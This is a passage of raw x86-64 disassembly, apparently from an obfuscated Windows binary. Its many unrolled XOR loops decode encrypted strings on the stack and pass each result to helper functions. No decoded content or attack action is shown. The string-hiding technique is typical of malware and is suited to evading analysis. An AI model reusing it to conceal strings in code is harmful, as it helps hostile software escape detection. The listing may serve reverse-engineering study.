xor byte [rsp + r10 + 0x2ffd], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x2ffe], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x2fff], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x3000], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r10 + 0x3001], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r10 + 0x3002], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r10 + 0x3003], al
add r10d, 0x1d
cmp r10d, 0x74
jl 0x1400f0f00
lea rdx, [rsp + 0x2fe7]
lea rcx, [rsp + 0xd48]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd8e0]
vmovups ymmword [rsp + 0x3339], ymm0
vmovups ymm1, ymmword [0x1401bd900]
vmovups ymmword [rsp + 0x3359], ymm1
vmovups ymm0, ymmword [0x1401bd920]
vmovups ymmword [rsp + 0x3379], ymm0
vmovups ymm1, ymmword [0x1401bd940]
vmovups ymmword [rsp + 0x3399], ymm1
movzx eax, word [0x1401bd960]
mov word [rsp + 0x33b9], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
mov byte [rsp + 0x33bb], al
xor r8d, r8d
lea r9, [rsp + 0x3339]
nop dword [rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x83
jl 0x1400f1480
lea rdx, [rsp + 0x3339]
lea rcx, [rsp + 0xd68]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bd970]
vmovups ymmword [rsp + 0x34c8], ymm0
vmovups ymm1, ymmword [0x1401bd990]
vmovups ymmword [rsp + 0x34e8], ymm1
vmovups ymm0, ymmword [0x1401bd9b0]
vmovups ymmword [rsp + 0x3508], ymm0
vmovups ymm1, ymmword [0x1401bd9d0]
vmovups ymmword [rsp + 0x3528], ymm1
vmovsd xmm0, qword [0x1401bd9f0]
vmovsd qword [rsp + 0x3548], xmm0
mov eax, dword [0x1401bd9f8]
mov dword [rsp + 0x3550], eax
movzx eax, word [0x1401bd9fc]
mov word [rsp + 0x3554], ax
xor r8d, r8d
lea r9, [rsp + 0x34c8]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x8e
jl 0x1400f1551
lea rdx, [rsp + 0x34c8]
lea rcx, [rsp + 0xd88]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bda00]
vmovups ymmword [rsp + 0x3c28], ymm0
vmovups ymm1, ymmword [str.8_5__70]
vmovups ymmword [rsp + 0x3c48], ymm1
vmovups ymm0, ymmword [0x1401bda40]
vmovups ymmword [rsp + 0x3c68], ymm0
vmovups ymm1, ymmword [0x1401bda60]
vmovups ymmword [rsp + 0x3c88], ymm1
vmovups xmm0, xmmword [0x1401bda80]
vmovups xmmword [rsp + 0x3ca8], xmm0
mov eax, dword [0x1401bda90]
mov dword [rsp + 0x3cb8], eax
movzx eax, byte [0x1401bda94]
mov byte [rsp + 0x3cbc], al
xor r8d, r8d
lea r9, [rsp + 0x3c28]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x95
jl 0x1400f1621
lea rdx, [rsp + 0x3c28]
lea rcx, [rsp + 0xda8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rdx, [rsp + 0x44e6]
lea rcx, [rdi + 0x1bdaa0]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups xmm1, xmmword [rcx + 0x70]
vmovups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups xmm0, xmmword [rcx + 0x20]
vmovups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
xor r8d, r8d
lea r9, [rsp + 0x44e6]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x1400f1700
lea rdx, [rsp + 0x44e6]
lea rcx, [rsp + 0xdc8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rdx, [rsp + 0x45a3]
lea rcx, [rdi + 0x1bdb60]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups xmm1, xmmword [rcx + 0x70]
vmovups xmmword [rdx - 0x10], xmm1
lea rcx, [rcx + 0x80]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups xmm0, xmmword [rcx + 0x20]
vmovups xmmword [rdx + 0x20], xmm0
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
xor r8d, r8d
lea r9, [rsp + 0x45a3]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xbd
jl 0x1400f17e0
lea rdx, [rsp + 0x45a3]
lea rcx, [rsp + 0xde8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rdx, [rsp + 0x4380]
lea rcx, [rdi + 0x1bdc20]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups ymm1, ymmword [rcx + 0x70]
vmovups ymmword [rdx - 0x10], ymm1
vmovups ymm1, ymmword [rcx + 0x90]
vmovups ymmword [rdx + 0x10], ymm1
movzx eax, word [rcx + 0xb0]
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
mov byte [rdx + 0x32], al
xor r8d, r8d
lea r9, [rsp + 0x4380]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb3
jl 0x1400f18b0
lea rdx, [rsp + 0x4380]
lea rcx, [rsp + 0xe08]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
lea rdx, [rsp + 0x4433]
lea rcx, [rdi + 0x1bdce0]
vmovups ymm0, ymmword [rcx]
vmovups ymmword [rdx], ymm0
vmovups ymm0, ymmword [rcx + 0x20]
vmovups ymmword [rdx + 0x20], ymm0
vmovups ymm0, ymmword [rcx + 0x40]
vmovups ymmword [rdx + 0x40], ymm0
vmovups xmm0, xmmword [rcx + 0x60]
vmovups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
vmovups ymm1, ymmword [rcx + 0x70]
vmovups ymmword [rdx - 0x10], ymm1
vmovups ymm1, ymmword [rcx + 0x90]
vmovups ymmword [rdx + 0x10], ymm1
movzx eax, word [rcx + 0xb0]
mov word [rdx + 0x30], ax
movzx eax, byte [rcx + 0xb2]
mov byte [rdx + 0x32], al
xor r8d, r8d
lea r9, [rsp + 0x4433]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb3
jl 0x1400f1980
lea rdx, [rsp + 0x4433]
lea rcx, [rsp + 0xe28]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bdda0]
vmovups ymmword [rsp + 0x3a6d], ymm0
vmovups ymm1, ymmword [0x1401bddc0]
vmovups ymmword [rsp + 0x3a8d], ymm1
vmovups ymm0, ymmword [0x1401bdde0]
vmovups ymmword [rsp + 0x3aad], ymm0
vmovups ymm1, ymmword [0x1401bde00]
vmovups ymmword [rsp + 0x3acd], ymm1
vmovups xmm0, xmmword [0x1401bde20]
vmovups xmmword [rsp + 0x3aed], xmm0
movzx eax, word [0x1401bde30]
mov word [rsp + 0x3afd], ax
movzx eax, byte [0x1401bde32]
mov byte [rsp + 0x3aff], al
xor r8d, r8d
lea r9, [rsp + 0x3a6d]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x1400f1a60
lea rdx, [rsp + 0x3a6d]
lea rcx, [rsp + 0xe48]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bde40]
vmovups ymmword [rsp + 0x3b00], ymm0
vmovups ymm1, ymmword [0x1401bde60]
vmovups ymmword [rsp + 0x3b20], ymm1
vmovups ymm0, ymmword [0x1401bde80]
vmovups ymmword [rsp + 0x3b40], ymm0
vmovups ymm1, ymmword [0x1401bdea0]
vmovups ymmword [rsp + 0x3b60], ymm1
vmovups xmm0, xmmword [0x1401bdec0]
vmovups xmmword [rsp + 0x3b80], xmm0
mov eax, dword [0x1401bded0]
mov dword [rsp + 0x3b90], eax
xor r8d, r8d
lea r9, [rsp + 0x3b00]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x1400f1b30
lea rdx, [rsp + 0x3b00]
lea rcx, [rsp + 0xe68]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bdee0]
vmovups ymmword [rsp + 0x38b7], ymm0
vmovups ymm1, ymmword [0x1401bdf00]
vmovups ymmword [rsp + 0x38d7], ymm1
vmovups ymm0, ymmword [0x1401bdf20]
vmovups ymmword [rsp + 0x38f7], ymm0
vmovups ymm1, ymmword [0x1401bdf40]
vmovups ymmword [rsp + 0x3917], ymm1
vmovups xmm0, xmmword [0x1401bdf60]
vmovups xmmword [rsp + 0x3937], xmm0
movzx eax, word [0x1401bdf70]
mov word [rsp + 0x3947], ax
xor r8d, r8d
lea r9, [rsp + 0x38b7]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x92
jl 0x1400f1c00
lea rdx, [rsp + 0x38b7]
lea rcx, [rsp + 0xe88]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401bdf80]
vmovups ymmword [rsp + 0x3440], ymm0
vmovups ymm1, ymmword [0x1401bdfa0]
vmovups ymmword [rsp + 0x3460], ymm1
vmovups ymm0, ymmword [str.bl0e]
vmovups ymmword [rsp + 0x3480], ymm0
vmovups ymm1, ymmword [0x1401bdfe0]
vmovups ymmword [rsp + 0x34a0], ymm1
vmovsd xmm0, qword [0x1401be000]
vmovsd qword [rsp + 0x34c0], xmm0
xor r8d, r8d
lea r9, [rsp + 0x3440]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x1400f1cc0
lea rdx, [rsp + 0x3440]
lea rcx, [rsp + 0xea8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be010]
vmovups ymmword [rsp + 0x3b94], ymm0
vmovups ymm1, ymmword [0x1401be030]
vmovups ymmword [rsp + 0x3bb4], ymm1
vmovups ymm0, ymmword [0x1401be050]
vmovups ymmword [rsp + 0x3bd4], ymm0
vmovups ymm1, ymmword [0x1401be070]
vmovups ymmword [rsp + 0x3bf4], ymm1
vmovups xmm0, xmmword [0x1401be090]
vmovups xmmword [rsp + 0x3c14], xmm0
mov eax, dword [0x1401be0a0]
mov dword [rsp + 0x3c24], eax
xor r8d, r8d
lea r9, [rsp + 0x3b94]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x94
jl 0x1400f1d90
lea rdx, [rsp + 0x3b94]
lea rcx, [rsp + 0xec8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be0b0]
vmovups ymmword [rsp + 0x3795], ymm0
vmovups ymm1, ymmword [0x1401be0d0]
vmovups ymmword [rsp + 0x37b5], ymm1
vmovups ymm0, ymmword [str.0__0_3]
vmovups ymmword [rsp + 0x37d5], ymm0
vmovups ymm1, ymmword [0x1401be110]
vmovups ymmword [rsp + 0x37f5], ymm1
vmovups xmm0, xmmword [0x1401be130]
vmovups xmmword [rsp + 0x3815], xmm0
movzx eax, byte [0x1401be140]
mov byte [rsp + 0x3825], al
xor r8d, r8d
lea r9, [rsp + 0x3795]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f1e60
lea rdx, [rsp + 0x3795]
lea rcx, [rsp + 0xee8]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be150]
vmovups ymmword [rsp + 0x3826], ymm0
vmovups ymm1, ymmword [0x1401be170]
vmovups ymmword [rsp + 0x3846], ymm1
vmovups ymm0, ymmword [0x1401be190]
vmovups ymmword [rsp + 0x3866], ymm0
vmovups ymm1, ymmword [0x1401be1b0]
vmovups ymmword [rsp + 0x3886], ymm1
vmovups xmm0, xmmword [0x1401be1d0]
vmovups xmmword [rsp + 0x38a6], xmm0
movzx eax, byte [0x1401be1e0]
mov byte [rsp + 0x38b6], al
xor r8d, r8d
lea r9, [rsp + 0x3826]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x91
jl 0x1400f1f30
lea rdx, [rsp + 0x3826]
lea rcx, [rsp + 0xf08]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be1f0]
vmovups ymmword [rsp + 0x30d1], ymm0
vmovups ymm1, ymmword [0x1401be210]
vmovups ymmword [rsp + 0x30f1], ymm1
vmovups ymm0, ymmword [0x1401be230]
vmovups ymmword [rsp + 0x3111], ymm0
vmovups xmm1, xmmword [0x1401be250]
vmovups xmmword [rsp + 0x3131], xmm1
mov eax, dword [0x1401be260]
mov dword [rsp + 0x3141], eax
movzx eax, word [0x1401be264]
mov word [rsp + 0x3145], ax
xor r8d, r8d
lea r9, [rsp + 0x30d2]
mov eax, 0x3521cfb3
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
add r8d, ebx
lea r9, [r9 + 2]
cmp r8d, 0x76
jl 0x1400f1ff0
lea rdx, [rsp + 0x30d1]
lea rcx, [rsp + 0xf28]
vzeroupper
call fcn.14006d660
mov rcx, rax
call fcn.14011c8f0
vmovups ymm0, ymmword [0x1401be270]
vmovups ymmword [rsp + 0x3147], ymm0
vmovups ymm1, ymmword [0x1401be290]
vmovups ymmword [rsp + 0x3167], ymm1
vmovups ymm0, ymmword [0x1401be2b0]
vmovups ymmword [rsp + 0x3187], ymm0
vmovups xmm1, xmmword [0x1401be2d0]
vmovups xmmword [rsp + 0x31a7], xmm1
vmovsd xmm0, qword [0x1401be2e0]
vmovsd qword [rsp + 0x31b7], xmm0
xor r10d, r10d
nop dword [rax]
nop word [rax + rax]
movsxd r9, r10d
mov eax, 0x4d4873ed
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r9 + 0x3147], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r9 + 0x3148], al
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r9 + 0x3149], al
lea ecx, [r8 + 1]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r9 + 0x314a], al
lea ecx, [r8 + 2]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r9 + 0x314b], al
lea ecx, [r8 + 3]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r9 + 0x314c], al
lea ecx, [r8 + 4]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r9 + 0x314d], al
lea ecx, [r8 + 5]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r9 + 0x314e], al
lea ecx, [r8 + 6]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r9 + 0x314f], al
lea ecx, [r8 + 7]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r9 + 0x3150], al
lea ecx, [r8 + 8]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r9 + 0x3151], al
lea ecx, [r8 + 9]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r9 + 0x3152], al
lea ecx, [r8 + 0xa]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r9 + 0x3153], al
lea ecx, [r8 + 0xb]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r9 + 0x3154], al
lea ecx, [r8 + 0xc]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r9 + 0x3155], al
lea ecx, [r8 + 0xd]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r9 + 0x3156], al
lea ecx, [r8 + 0xe]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r9 + 0x3157], al
lea ecx, [r8 + 0xf]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r9 + 0x3158], al
lea ecx, [r8 + 0x10]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r9 + 0x3159], al
lea ecx, [r8 + 0x11]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r9 + 0x315a], al
lea ecx, [r8 + 0x12]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r9 + 0x315b], al
lea ecx, [r8 + 0x13]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r9 + 0x315c], al
lea ecx, [r8 + 0x14]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r9 + 0x315d], al
lea ecx, [r8 + 0x15]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r9 + 0x315e], al
lea ecx, [r8 + 0x16]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r9 + 0x315f], al
lea ecx, [r8 + 0x17]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r9 + 0x3160], al
lea ecx, [r8 + 0x18]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r9 + 0x3161], al
lea ecx, [r8 + 0x19]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r9 + 0x3162], al
lea ecx, [r8 + 0x1a]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r9 + 0x3163], al
lea ecx, [r8 + 0x1b]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r9 + 0x3164], al
lea ecx, [r8 + 0x1c]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r9 + 0x3165], al
lea ecx, [r8 + 0x1d]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r10b
sub al, cl
add al, 0x56
xor byte [rsp + r9 + 0x3166], al
lea ecx, [r8 + 0x1e]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
